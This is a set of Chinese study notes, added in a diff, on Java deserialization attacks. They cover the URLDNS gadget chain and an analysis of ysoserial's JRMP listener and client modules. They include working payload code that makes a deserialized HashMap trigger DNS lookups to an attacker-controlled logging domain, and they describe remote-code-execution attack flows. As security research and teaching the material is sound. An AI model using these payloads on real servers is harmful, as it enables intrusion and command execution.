+先来看一个简单的示例:
+
+首先在 Yakit 上生成一个可用域名:ihqkfolumv.dgrh3.cn
+
+![](/images/image-20240502110230821.png)
+
+写好如下 Java 程序:
+
+```
+import java.net.MalformedURLException;
+import java.net.URL;
+
+public class Main {
+    public static void main(String[] args) throws MalformedURLException {
+        // 调用URL类的hashCode方法发起DNS请求
+        URL url = new URL("http://ihqkfolumv.dgrh3.cn");
+        url.hashCode();
+    }
+}
+```
+
+其中,ihqkfolumv.dgrh3.cn 是我们自己生成的域名,用于被 Java 程序访问,这样在 DNS 服务器上就会留下一条访问记录。
+
+运行后在 Yakit 这里会留下一条解析记录:
+
+![](/images/image-20240502110456487.png)
+
+**下面来查看源代码了解原理**
+
+Ctrl + 鼠标左键点击进入 URL 类的 hashcode 方法:
+
+```
+public synchronized int hashCode() {
+    if (hashCode != -1)
+        return hashCode;
+
+    hashCode = handler.hashCode(this);
+    return hashCode;
+}
+```
+
+可以看到,这里先做了一个判断,然后调用了 handler 的 hashCode 方法。而 handler 是 URL 类中定义的一个属性:
+
+```
+transient URLStreamHandler handler;
+```
+
+接着 Ctrl + 鼠标左键点击进入 handler 对象(也即 URLStreamHandler 类)的 hashcode 方法:
+
+```
+protected int hashCode(URL u) {
+    int h = 0;
+
+    // Generate the protocol part.
+    String protocol = u.getProtocol();
+    if (protocol != null)
+        h += protocol.hashCode();
+
+    // Generate the host part.
+    InetAddress addr = getHostAddress(u);
+    if (addr != null) {
+        h += addr.hashCode();
+    } else {
+        String host = u.getHost();
+        if (host != null)
+            h += host.toLowerCase().hashCode();
+    }
+
+    // Generate the file part.
+    String file = u.getFile();
+    if (file != null)
+        h += file.hashCode();
+
+    // Generate the port part.
+    if (u.getPort() == -1)
+        h += getDefaultPort();
+    else
+        h += u.getPort();
+
+    // Generate the ref part.
+    String ref = u.getRef();
+    if (ref != null)
+        h += ref.hashCode();
+
+    return h;
+}
+```
+
+这个方法传入一个 URL 类作为参数,依次通过调用 getProtocol ,getHostAddress,getFile,getPort,getRef 等方法获取到传入的 URL 链接的 Protocol(协议),HostAddress(主机地址),File(文件路径),Port(端口),Ref(锚点,即 # 后面的部分),获取完之后,对每部分调用它们的 hashCode 方法,将结果加到 h 上,最后将 h 返回。
+
+不过,我们需要重点关注的是 getHostAddress 方法,该方法会返回一个 IP 地址,如果遇到的是域名,那么就需要发起 DNS 请求来将其解析成 IP 地址。
+
+Ctrl + 鼠标左键点击进入 getHostAddress 方法:
+
+```
+protected synchronized InetAddress getHostAddress(URL u) {
+    if (u.hostAddress != null)
+        return u.hostAddress;
+
+    String host = u.getHost();
+    if (host == null || host.equals("")) {
+        return null;
+    } else {
+        try {
+            u.hostAddress = InetAddress.getByName(host);
+        } catch (UnknownHostException ex) {
+            return null;
+        } catch (SecurityException se) {
+            return null;
+        }
+    }
+    return u.hostAddress;
+}
+```
+
+如果 u.hostAddress 为空,那么调用 URL 类的 getHost 方法获取主机地址(可以是 IP 也可以是域名),如果获取到的主机地址不为空,那么会调用 InetAddress 类的静态方法 getByName 并将主机名作为参数传入。
+
+重点来了:InetAddress.getByName 是一个强大而实用的方法,它**允许我们根据主机名获取对应的 IP 地址,并在各种网络应用场景中发挥巨大的作用**。
+
+在这里就涉及到了 DNS 解析,那么这条利用链的功能也就是归于此处。再往下的源码就不看了,有兴趣可以自己看看。
+
+### 反序列化利用
+
+#### 入口类 HashMap
+
+选择该类作为入口类的原因很简单:
+
+-   实现了 Serializable 接口,可以被反序列化
+
+```
+public class HashMap extends AbstractMap implements Map, Cloneable, Serializable
+```
+
+-   重写了 readObject 方法
+    
+-   参数类型宽泛,只要是 Object 都可以
+    
+-   JDK 自带
+    
+
+……
+
+#### 构造 payload
+
+先看结果,后面再讲原理
+
+**序列化类 serialization**
+
+```
+public class serialization {
+    public static void main(String[] args) throws Exception {
+        HashMap hashMap = new HashMap();
+        URL url = new URL("http://jhdmbaithu.dgrh3.cn");
+
+        Class clazz = Class.forName("java.net.URL");
+        Field f = clazz.getDeclaredField("hashCode");
+        f.setAccessible(true);
+
+        hashMap.put(url,"test");
+        f.set(url,-1);
+        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
+        oos.writeObject(hashMap);
+    }
+}
+```
+
+这个类将 URL 类的对象作为参数传入 hashMap 中,并在 hashMap 用 put 方法将数据存储后利用反射修改了 url 的 hashCode 属性为 -1 。运行后,会将序列化数据输出到 out.bin 文件中,且也会进行一次 DNS 解析。
+
+**由于进行了 DNS 解析,本地存在了解析记录,那么第二次解析就不会去请求 DNS 服务器,所以要刷新一下本地的 DNS 缓存,防止之后执行反序列化看不到解析记录**
+
+Windows cmd 窗口输入以下命令刷新 DNS 解析缓存:
+
+```
+ipconfig/flushdns
+```
+
+![](/images/image-20240502132852109.png)
+
+**反序列化类 unserialization**
+
+```
+public class unserialization {
+    public static void main(String[] args) throws Exception {
+        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
+        HashMap hashMap = (HashMap) ois.readObject();
+    }
+}
+```
+
+执行反序列化后会多出一条解析记录。
+
+**执行完序列化和反序列化之后,查看 Yakit ,会出现两次解析记录:**
+
+![](/images/image-20240502133353810.png)
+
+#### 序列化时进行 DNS 解析的原理
+
+来看序列化类:
+
+```
+public class serialization {
+    public static void main(String[] args) throws Exception {
+        HashMap hashMap = new HashMap();
+        URL url = new URL("http://jhdmbaithu.dgrh3.cn");
+
+        Class clazz = Class.forName("java.net.URL");
+        Field f = clazz.getDeclaredField("hashCode");
+        f.setAccessible(true);
+
+        hashMap.put(url,"test");
+        f.set(url,-1);
+        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
+        oos.writeObject(hashMap);
+    }
+}
+```
+
+**序列化时调用了 HashMap 的 put 方法,查看 put 方法:**
+
+```
+public V put(K key, V value) {
+    return putVal(hash(key), key, value, false, true);
+}
+```
+
+**put 方法中又调用了 HashMap 的 hash 方法,查看 hash 方法:**
+
+```
+static final int hash(Object key) {
+    int h;
+    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
+}
+```
+
+可以看到,hash 方法中调用了 key 的 hashCode 方法,而 key 就是我们传入的 URL 对象,也即调用了 URL 对象的 hashCode 方法,因此进行了 DNS 解析。
+
+**为什么要用反射修改 url 的 hashCode 属性值**
+
+调用了 url 的 hashCode 方法之后,url 的 hashCode 属性便不再是 -1(初始值为 -1 ,调用 hashCode 方法之后会生成新的值),结合 URL 类的 hashCode 方法来看:
+
+```
+public synchronized int hashCode() {
+    if (hashCode != -1)
+        return hashCode;
+
+    hashCode = handler.hashCode(this);
+    return hashCode;
+}
+```
+
+下一次调用 url 的 hashCode 方法就不会再调用 handler.hashCode 方法,也就不会进行 DNS 解析了。为了之后的反序列化能够顺利进行 DNS 解析,这里用反射来修改 url 的 hashCode 属性值重新为 -1 。
+
+#### 反序列化时进行 DNS 解析的原理
+
+来看反序列化类:
+
+```
+public class unserialization {
+    public static void main(String[] args) throws Exception {
+        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
+        HashMap hashMap = (HashMap) ois.readObject();
+    }
+}
+```
+
+由于 HashMap 重写了 readObject 方法,因此在调用时不会调用 ObjectInputStream 默认的 readObject 方法,而是会调用 HashMap 重写的 readObject 方法。
+
+**查看 HashMap 的 readObject 方法:**
+
+```
+private void readObject(java.io.ObjectInputStream s)
+    throws IOException, ClassNotFoundException {
+    // Read in the threshold (ignored), loadfactor, and any hidden stuff
+    s.defaultReadObject();
+    reinitialize();
+    if (loadFactor <= 0 || Float.isNaN(loadFactor))
+        throw new InvalidObjectException("Illegal load factor: " +
+                                         loadFactor);
+    s.readInt();                // Read and ignore number of buckets
+    int mappings = s.readInt(); // Read number of mappings (size)
+    if (mappings < 0)
+        throw new InvalidObjectException("Illegal mappings count: " +
+                                         mappings);
+    else if (mappings > 0) { // (if zero, use defaults)
+        // Size the table using given load factor only if within
+        // range of 0.25...4.0
+        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
+        float fc = (float)mappings / lf + 1.0f;
+        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
+                   DEFAULT_INITIAL_CAPACITY :
+                   (fc >= MAXIMUM_CAPACITY) ?
+                   MAXIMUM_CAPACITY :
+                   tableSizeFor((int)fc));
+        float ft = (float)cap * lf;
+        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
+                     (int)ft : Integer.MAX_VALUE);
+        @SuppressWarnings({"rawtypes","unchecked"})
+            Node[] tab = (Node[])new Node[cap];
+        table = tab;
+
+        // Read the keys and values, and put the mappings in the HashMap
+        for (int i = 0; i < mappings; i++) {
+            @SuppressWarnings("unchecked")
+                K key = (K) s.readObject();
+            @SuppressWarnings("unchecked")
+                V value = (V) s.readObject();
+            putVal(hash(key), key, value, false, false);
+        }
+    }
+}
+```
+
+很多很杂,但其实前面的都不重要,直接看末尾的 for 循环中的最后一条语句:
+
+```
+putVal(hash(key), key, value, false, false);
+```
+
+见过吧,其实跟序列化时的 put 方法中的内容是一样的,一样的调用了 hash 方法:
+
+```
+static final int hash(Object key) {
+    int h;
+    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
+}
+```
+
+一样的调用了 key 的 hashCode 方法,也即 URL 对象的 hashCode 方法,进行了 DNS 解析。所以如果前面不把 hashCode 改回 -1 的话,反序列化是不会进行 DNS 解析的哦~
+
+### 调用链总结
+
+```
+HashMap#readObject(java.io.ObjectInputStream)
+HashMap#hash(Object)
+URL#hashCode()
+URLStreamHandler#hashCode(URL)
+URLStreamHandler#getHostAddress(URL)
+InetAddress#getByName(String) # DNS 解析
+```
diff --git a/books/漏洞篇 - ysoserial 的 JRMP 模块分析 (1).md b/books/漏洞篇 - ysoserial 的 JRMP 模块分析 (1).md
new file mode 100644
index 0000000..0e7f9bc
--- /dev/null
+++ b/books/漏洞篇 - ysoserial 的 JRMP 模块分析 (1).md	
@@ -0,0 +1,587 @@
+# 漏洞篇 - ysoserial 的 JRMP 模块分析
+> 2024-08-28
+> 来源:https://changeyourway.github.io/2024/08/28/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-ysoserial%E7%9A%84JRMP%E6%A8%A1%E5%9D%97%E5%88%86%E6%9E%90/
+
+## JRMP 协议介绍
+
+JRMP(Java Remote Method Protocol)是为 Java RMI 设计的专有协议,负责处理 RMI 调用的实际网络传输。它是基于 TCP 的,确保了通信的可靠性和有序性。也就是说:RMI 使用 JRMP 协议来处理网络通信。
+
+当然,RMI 并不止支持 JRMP 这一种协议,还可以使用比如 IIOP 协议来进行网络通信。
+
+## ysoserial 中的 JRMP 模块
+
+通常有两种利用方式。
+
+第一种:payloads/JRMPListener + exploit/JRMPClient
+
+第二种:exploit/JRMPListener + payloads/JRMPClient
+
+接下来我们会逐个分析这四个类。
+
+### payloads/JRMPListener + exploit/JRMPClient
+
+ysoserial 中的 exploit/JRMPClient 是作为攻击方的代码,一般会结合 payloads/JRMPLIstener 使用,攻击流程就是:
+
+1、先往存在漏洞的服务器发送 payloads/JRMPLIstener ,服务器反序列化该 payload 后,会开启一个 rmi 服务并监听在设置的端口
+
+2、然后攻击方在自己的服务器使用 exploit/JRMPClient 与存在漏洞的服务器进行通信,并且发送一个可命令执行的 payload,从而达到命令执行的结果。
+
+在 payloads/JRMPListener 的代码注释中,作者已经给出了调用链,这与我们在上一篇文章中分析的 UnicastRemoteObject 调用链一致,就不再赘述:
+
+```
+/**
+ * Gadget chain:
+ * UnicastRemoteObject.readObject(ObjectInputStream) line: 235
+ * UnicastRemoteObject.reexport() line: 266
+ * UnicastRemoteObject.exportObject(Remote, int) line: 320
+ * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
+ * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
+ * LiveRef.exportObject(Target) line: 147
+ * TCPEndpoint.exportObject(Target) line: 411
+ * TCPTransport.exportObject(Target) line: 249
+ * TCPTransport.listen() line: 319
+```
+
+调用的顺序是从上往下,我们先来分析 payloads/JRMPListener 类。
+
+#### payloads/JRMPListener
+
+```
+public class JRMPListener extends PayloadRunner implements ObjectPayload {
+
+    public UnicastRemoteObject getObject(final String command) throws Exception {
+        int jrmpPort = Integer.parseInt(command);
+        UnicastRemoteObject uro = Reflections.createWithConstructor(
+            ActivationGroupImpl.class,
+            RemoteObject.class,
+            new Class[]{
+                RemoteRef.class
+            },
+            new Object[]{
+                new UnicastServerRef(jrmpPort)
+            });
+
+        Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
+        return uro;
+    }
+
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(JRMPListener.class, args);
+    }
+}
+```
+
+它的 getObject 方法就是用来获取一个 UnicastRemoteObject 对象,这个对象被反序列化就会开启监听。
+
+getObject 方法有一个参数,就是要设置的端口号,当目标服务器反序列化 UnicastRemoteObject 对象时,开启监听就是监听这个端口。
+
+接着调用了 Reflections 的 createWithConstructor 方法。Reflections 是 ysoserial 中自定义的类,位于 ysoserial.payloads.util 包中。Reflections 的 createWithConstructor 方法:
+
+```
+public static  T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs )
+        throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
+    Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes);
+ setAccessible(objCons);
+    Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
+ setAccessible(sc);
+    return (T)sc.newInstance(consArgs);
+}
+```
+
+这个方法有四个参数,第一个参数是要被实例化的类,第二个参数是要被获取构造方法的类,第三个和第四个参数则分别是构造方法需要的参数类型和参数值。
+
+所以这里调用 Reflections 的 createWithConstructor 方法实际是利用 RemoteObject 的构造方法创建了一个 ActivationGroupImpl 对象,并将 new UnicastServerRef(jrmpPort) 作为构造方法的参数:
+
+![](https://changeyourway.github.io/images/QQ_1723910760462.png)
+
+最后用 UnicastRemoteObject 接收,完成了向上转型。由于 ActivationGroupImpl 继承了 ActivationGroup ,ActivationGroup 又继承了 UnicastRemoteObject ,且 ActivationGroupImpl 和 ActivationGroup 都没有重写 readObject 方法,所以当 ActivationGroupImpl 对象被反序列化时,会调用 UnicastRemoteObject 的 readObject 方法。
+
+事实上,这里除了使用 ActivationGroupImpl 类,直接使用 UnicastRemoteObject 类也是可以的。
+
+后面主函数中调用的 PayloadRunner.run 方法就是先调用 JRMPListener 的 getObject 方法,将获取到的对象序列化再反序列化,只是测试用的。
+
+那么到这里 payloads/JRMPListener 就分析完了,接下来分析 exploit/JRMPClient 。
+
+#### exploit/JRMPClient
+
+作者在本类的注释中说明了 exploit/JRMPClient 的功能:
+
+1.  目标是远程 DGC ,只要有监听,那么就一定存在 DGC(分布式垃圾回收)。
+2.  不反序列化任何数据,意思是不接收服务端发送的任何数据,这样就避免了被反过来攻击。
+
+```
+/**
+ * Generic JRMP client
+ * 
+ * Pretty much the same thing as {@link RMIRegistryExploit} but 
+ * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
+ * - not deserializing anything (so you don't get yourself exploited ;))
+ * 
+ * @author mbechler
+ *
+ */
+```
+
+exploit/JRMPClient 中有一个主要的方法 makeDGCCall 和一个静态内部类 MarshalOutputStream 。
+
+###### makeDGCCall 方法
+
+1.  **参数说明**:
+    
+    -   `hostname`:目标主机名或 IP 地址。
+    -   `port`:目标主机的端口号。
+    -   `payloadObject`:需要发送的序列化对象。
+2.  **建立连接**:
+    
+    ![](https://changeyourway.github.io/images/QQ_1723933428087.png)
+    -   `SocketFactory.getDefault().createSocket(hostname, port)`:通过默认的套接字工厂创建与目标主机的 TCP 连接。
+    -   `s.setKeepAlive(true)`:启用 TCP 的保活功能,以保持连接活跃。
+    -   `s.setTcpNoDelay(true)`:禁用 Nagle 算法,立即发送数据,而不等待更多的数据。
+3.  **准备数据流**:
+    
+    ![](https://changeyourway.github.io/images/QQ_1723933451649.png)
+    -   `DataOutputStream`:包装 `OutputStream`,以便写入原始数据类型。
+4.  **发送 RMI 协议的标志和版本信息**:
+    
+    ![](https://changeyourway.github.io/images/QQ_1723933478376.png)
+    -   `Magic`:RMI 协议的标识符,用于验证连接。
+    -   `Version`:协议版本号。
+    -   `SingleOpProtocol`:指示该连接只用于单次操作。
+5.  **发送 DGC 操作的调用标志**:
+    
+    ![](https://changeyourway.github.io/images/QQ_1723933511287.png)
+    -   发送一个字节,表示是一次 RMI 调用。
+6.  **序列化对象并发送**:
+    
+    ![](https://changeyourway.github.io/images/QQ_1723933610786.png)
+    -   `MarshalOutputStream` 就是 exploit/JRMPClient 的静态内部类,一个自定义的 `ObjectOutputStream` 的子类,用于序列化对象。MarshalOutputStream 中并没有重写 writeLong 、writeInt 等方法,实际还是调用的 ObjectOutputStream 中的方法。
+    -   发送一些固定的标识符和数据,用于 DGC 协议。
+    -   最后,序列化并发送 `payloadObject` 。
+7.  **清理资源**:
+    
+    ![](https://changeyourway.github.io/images/QQ_1723933974996.png)
+    -   确保在方法结束时关闭数据流和套接字,以释放资源。
+
+###### main 方法
+
+![](https://changeyourway.github.io/images/QQ_1724056250811.png)
+
+在主函数中先是判断了一下参数长度是否小于 4 ,如果小于 4 的话输出报错信息: ,这意味这要想成功运行 exploit/JRMPClient 需要提供四个参数:主机地址、端口号、payload 类型、payload 参数(也就是要执行的命令),就像这样:  
+![](https://changeyourway.github.io/images/QQ_1724056537568.png)
+
+接着用 Utils.makePayloadObject 创建 payload 对象,这里用到了参数 3 和参数 4 。Utils 是 ysoserial 中自定义的工具类,位于 ysoserial.payloads 包中,它的 makePayloadObject 方法会根据要使用的 gadget 和要执行的命令创建 payload 对象。这里就不深究了。
+
+最后就是调用 makeDGCCall 方法将 payload 对象序列化发送到目标地址。
+
+#### DGC 处理逻辑
+
+客户端发送的 payload ,其实是利用了服务端的 DGC 机制来反序列化,那么就具体来看 DGC 端的处理逻辑。
+
+###### DGC 创建
+
+在远程对象导出的时候,最终我们是来到了 ObjectTable 的 putTarget(Target) 方法。
+
+回顾一下远程对象导出流程:
+
+```
+UnicastRemoteObject#exportObject(Remote, UnicastServerRef)
+UnicastServerRef#exportObject(Remote, Object, boolean)
+	-> Util#createProxy(Class, RemoteRef, boolean) // 创建代理对象
+	-> LiveRef#exportObject(Target)
+	   TCPEndpoint#exportObject(Target)
+	   TCPTransport#exportObject(Target)
+	       -> TCPTransport#listen()	// 开启监听
+	       -> Transport#exportObject(Target)
+	          ObjectTable#putTarget(Target)	// 远程对象导出
+```
+
+ObjectTable 的 putTarget 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724059306246.png)
+
+这里调用了 DGCImpl 的静态变量 dgcLog ,那么在调用静态变量之前就会对 DGCImpl 进行初始化,就会执行 DGCImpl 的静态代码块。
+
+DGCImpl 的静态代码块就是新开一个线程,获取一个 DGCImpl 对象,然后把 DGCImpl 对象封装进一个 Target 对象里面,最后又调用
+
+ObjectTable 的 putTarget 方法将这个 Target 对象注册到 ObjectTable 中,使其可以通过 RMI 系统访问:
+
+![](https://changeyourway.github.io/images/QQ_1724060483208.png)
+
+以上就是 DGC 被创建的过程。
+
+###### DGC 调用
+
+当客户端向服务端发起通信时,服务端会调用 TCPTransport 的 handleMessages 来处理请求,与 RMI 调用相似。
+
+来回顾一下服务端的处理逻辑:
+
+```
+TCPTransport$ConnectionHandler.run0
+TCPTransport.handleMessages
+Transport.serviceCall
+UnicastServerRef.dispatch
+UnicastServerRef.oldDispatch
+```
+
+而最终调用 RegistryImpl\_Skel 的 dispatch 还是 DGCImpl\_Skel 的 dispatch 是在 Transport.serviceCall 方法中判断的。
+
+exploit/JRMPClient 的 makeDGCCall 方法向数据流中写入了很多数据,我们可以看看这些数据是如何被接收的。
+
+TCPTransport$ConnectionHandler.run0 方法从数据流中读取数据,这里读取一个 int 数据:
+
+![](https://changeyourway.github.io/images/QQ_1724168702468.png)
+
+然后又读取一个 short 数据:
+
+![](https://changeyourway.github.io/images/QQ_1724168768275.png)
+
+然后又读取一个 byte 数据,进入 switch 选择语句:
+
+![](https://changeyourway.github.io/images/QQ_1724168820419.png)
+
+这与 exploit/JRMPClient 的 makeDGCCall 方法第四步:发送 RMI 协议的标志和版本信息,相对应起来了。
+
+由于前面客户端发送的是 TransportConstants.SingleOpProtocol,所以这里进入 `case TransportConstants.SingleOpProtocol` ,也就会调用 handleMessages 。
+
+在 TCPTransport 的 handleMessages 方法中也有与 exploit/JRMPClient 的 makeDGCCall 方法第五步对应的 read 方法的调用:  
+![](https://changeyourway.github.io/images/QQ_1724174173215.png)
+
+接下来调用 Transport 的 serviceCall 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724178566157.png)
+
+跟进 Transport 的 serviceCall 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724163908708.png)
+
+可以看到,这里定义了一个参数 id ,这个 id 是通过读取参数 call 的输入流来获取的。
+
+跟进一下 ObjID.read 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724178878201.png)
+
+这里读取了一个 long 数据。
+
+再跟进 UID.read 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724178953778.png)
+
+连续读取了 int、long、short 数据。
+
+这两步与 exploit/JRMPClient 的 makeDGCCall 方法的第六步相对应,那里写入的数值正是用来设置这个 id 值的,往后看会发现这样设置是为了使 id 值与 dgcID 相等。
+
+回到 Transport 的 serviceCall 方法,接着对这个 id 进行一个判断,如果 id 等于 dgcID ,那么会将 Transport 对象设置为空,否则设置成当前类。之后又会利用 id 和这个 Transport 对象构造一个 Target 对象:
+
+![](https://changeyourway.github.io/images/QQ_1724164146984.png)
+
+调试起来会发现 dgcID 的值如图所示,而此时 id 的值与之相等:
+
+![](https://changeyourway.github.io/images/QQ_1724174049827.png)
+
+此时获取到的 Target 对象中包含的 skel 就已经是 DGCImpl\_Skel 对象了,所以其实在这里就决定了最后调用的是 RegistryImpl\_Skel 还是 DGCImpl\_Skel :  
+![](https://changeyourway.github.io/images/QQ_1724177054444.png)
+
+然后获取 Target 对象中的 disp 属性,也就是一个 UnicastServerRef 对象,最后调用 UnicastServerRef 的 dispatch 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724164356124.png)
+
+UnicastServerRef 的 dispatch 方法会调用其 oldDispatch 方法,还读取了一个 int 数据,将 num 设置为 1 ,然后作为 oldDispatch 的 参数传入:
+
+![](https://changeyourway.github.io/images/QQ_1724179555971.png)
+
+UnicastServerRef 的 oldDispatch 方法读取了最后一个 long 数据,到这里数据流中写入的数据就被读取完了,这里的 op 是 1,hash 是 -669196253586618813L,作为 skel.dispatch 方法的参数传入:  
+![](https://changeyourway.github.io/images/QQ_1724179804780.png)
+
+接着会调用 DGCImpl\_Skel 的 dispatch 方法,首先会判断这个 hash 值是否等于 -669196253586618813L :
+
+![](https://changeyourway.github.io/images/QQ_1724179898057.png)
+
+所以 exploit/JRMPClient 才要往数据流中写入一个那样的数据。
+
+此时 opnum 值为 1 ,进入 case 1:
+
+![](https://changeyourway.github.io/images/QQ_1724181015341.png)
+
+case0 和 case1 的区别在于 case0 调用 clean 方法,而 case1 调用 dirty 方法。这里选用了 case1 。
+
+最后在这里触发反序列化。
+
+以上就是 DGC 调用的过程了,exploit/JRMPClient 向数据流写入的每一个数据都是有意义的,不得不赞叹其精妙。
+
+#### 测试使用
+
+先启动 payloads/JRMPListener ,再启动 exploit/JRMPClient(记得启动时要带上参数),我爆出了如下错误:
+
+![](https://changeyourway.github.io/images/QQ_1724183339425.png)
+
+看来是被拦截了,有某种安全机制阻止我反序列化 HashSet 这个类。可能是高版本的 JEP 290 导致的。
+
+将 JDK 版本降为 8u65 后成功运行并弹出计算器:
+
+![](https://changeyourway.github.io/images/QQ_1724184133250.png)
+
+### exploit/JRMPListener + payloads/JRMPClient
+
+攻击流程如下:
+
+1、攻击方在自己的服务器使用 exploit/JRMPListener 开启一个 rmi 监听
+
+2、往存在漏洞的服务器发送 payloads/JRMPClient ,payload 中已经设置了攻击者服务器 ip 及 JRMPListener 监听的端口,漏洞服务器反序列化该 payload 后,会去连接攻击者开启的 rmi 监听,在通信过程中,攻击者服务器会发送一个可执行命令的 payload,从而达到命令执行的目的。
+
+#### payloads/JRMPClient
+
+作者在注释中给出了调用链:
+
+```
+* UnicastRef.newCall(RemoteObject, Operation[], int, long)
+* DGCImpl_Stub.dirty(ObjID[], long, Lease)
+* DGCClient$EndpointEntry.makeDirtyCall(Set, long)
+* DGCClient$EndpointEntry.registerRefs(List)
+* DGCClient.registerRefs(Endpoint, List)
+* LiveRef.read(ObjectInput, boolean)
+* UnicastRef.readExternal(ObjectInput)
+*
+* Thread.start()
+* DGCClient$EndpointEntry.(Endpoint)
+* DGCClient$EndpointEntry.lookup(Endpoint)
+* DGCClient.registerRefs(Endpoint, List)
+* LiveRef.read(ObjectInput, boolean)
+* UnicastRef.readExternal(ObjectInput)
+```
+
+从下往上看,入口点是 UnicastRef 的 readExternal 方法。UnicastRef 继承了 java.io.Externalizable ,所以在反序列化时会触发其 readExternal 方法。
+
+然后在 DGCClient.registerRefs(Endpoint, List) 处出现分支选项,所以出现两条链子。
+
+来看代码,payloads/JRMPClient 的 getObject 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724289641064.png)
+
+首先是从参数中分割出主机名和端口号,如果没有设置,则随机生成一个端口号。
+
+然后获取一个 UnicastRef 对象,设置好参数。再将其封装进 RemoteObjectInvocationHandler 对象,最后利用这个 RemoteObjectInvocationHandler 对象生成一个代理对象。那么这个 proxy 在被反序列化时就会先调用 RemoteObjectInvocationHandler 的父类 RemoteObject 的 readObject 方法。
+
+接下来看 main 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724292494481.png)
+
+第一行是将当前线程的上下文类加载器(Context ClassLoader)设置为 `JRMPClient` 类的类加载器。
+
+第二行就是调用 PayloadRunner.run 方法,前面说过了,PayloadRunner.run 方法就是先调用传入对象的 getObject 方法,将获取到的对象序列化再反序列化。
+
+下面我们调试一下 payloads/JRMPClient 。在 RemoteObject.readObject 和 UnicastRef.readExternal 处下好断点,开始调试:
+
+首先来到了 PayloadRunner.run 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724293269674.png)
+
+这里调用 getObject 方法时为其设置的参数是 “calc.exe” ,我觉得很奇怪,继续跟进 payloads/JRMPClient 的 getObject 方法往下看:
+
+![](https://changeyourway.github.io/images/QQ_1724293449076.png)
+
+果然获取到的 host 是 “calc.exe” ,而端口号是随机生成的 11871 。
+
+之后就是把这个 host 封装进了 TCPEndpoint :
+
+![](https://changeyourway.github.io/images/QQ_1724293884566.png)
+
+后面就没什么可看的了,回到 PayloadRunner.run:
+
+![](https://changeyourway.github.io/images/QQ_1724293980794.png)
+
+接下来会调用 Serializer.serialize 将结果序列化。
+
+跟进 Serializer.serialize:
+
+![](https://changeyourway.github.io/images/QQ_1724294079895.png)
+
+最后所有的一切都会封装进 serialized 数组,然后调用 Deserializer.deserialize 将其反序列化:
+
+![](https://changeyourway.github.io/images/QQ_1724294231110.png)
+
+Deserializer.deserialize:
+
+![](https://changeyourway.github.io/images/QQ_1724294411540.png)
+
+以上就是 PayloadRunner.run 方法的工作流程。
+
+继续跟进,来到了 RemoteObject.readObject 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724294547847.png)
+
+在方法的最后调用 ref.readExternal ,也就是 UnicastRef.readExternal 方法。
+
+继续跟进 UnicastRef.readExternal 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724295149656.png)
+
+调用 LiveRef.read ,继续跟进 LiveRef.read :
+
+![](https://changeyourway.github.io/images/QQ_1724295257151.png)
+
+在方法的最后调用了 DGCClient.registerRefs ,跟进它:
+
+![](https://changeyourway.github.io/images/QQ_1724295325919.png)
+
+在这里分化出了两条路,一条是 EndpointEntry.lookup ,一条是 EndpointEntry.registerRefs 。
+
+先来看 EndpointEntry.lookup :
+
+![](https://changeyourway.github.io/images/QQ_1724295772484.png)
+
+这里调用了 DGCClient$EndpointEntry 的构造方法,跟进它:
+
+![](https://changeyourway.github.io/images/QQ_1724297323680.png)
+
+这里调用了 renewCleanThread.start ,其实就是 Thread.start ,单开一个线程用于通信。
+
+那么这个分支就结束了。
+
+接下来看另一边 EndpointEntry.registerRefs ,在 EndpointEntry.registerRefs 方法的最后调用了 makeDirtyCall :
+
+![](https://changeyourway.github.io/images/QQ_1724298026501.png)
+
+跟进 DGCClient$EndpointEntry.makeDirtyCall 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724298246831.png)
+
+这里调用了 dgc.dirty ,也就是 DGCImpl\_Stub 的 dirty 方法,跟进它:
+
+![](https://changeyourway.github.io/images/QQ_1724298359708.png)
+
+这个方法的架构和 RegistryImpl\_Stub 的 bind 方法差不多,都调用了 UnicastRef 的 newCall 方法、invoke 方法和 done 方法。
+
+UnicastRef 的 newCall 方法发起一个远程调用,并传递相关的信息;invoke 方法执行实际的远程方法调用,负责整个从发起调用到接收结果的过程。它处理了网络通信、序列化/反序列化、以及异常处理;done 方法在远程方法调用结束后进行资源清理和上下文关闭,确保系统资源得以释放,避免资源泄漏。
+
+UnicastRef 的 invoke 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724312349091.png)
+
+调用 call.executeCall() ,实际上是调的 StreamRemoteCall.executeCall() 方法。
+
+StreamRemoteCall 的 executeCall() 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724312870988.png)
+
+这里根据 returnType 来判断如果正常的话直接返回,异常的话则反序列化服务端传来的对象。
+
+回到 DGCImpl\_Stub 的 dirty 方法,在上一步中如果判断正常,那么最后是在这里反序列化:
+
+![](https://changeyourway.github.io/images/QQ_1724308437303.png)
+
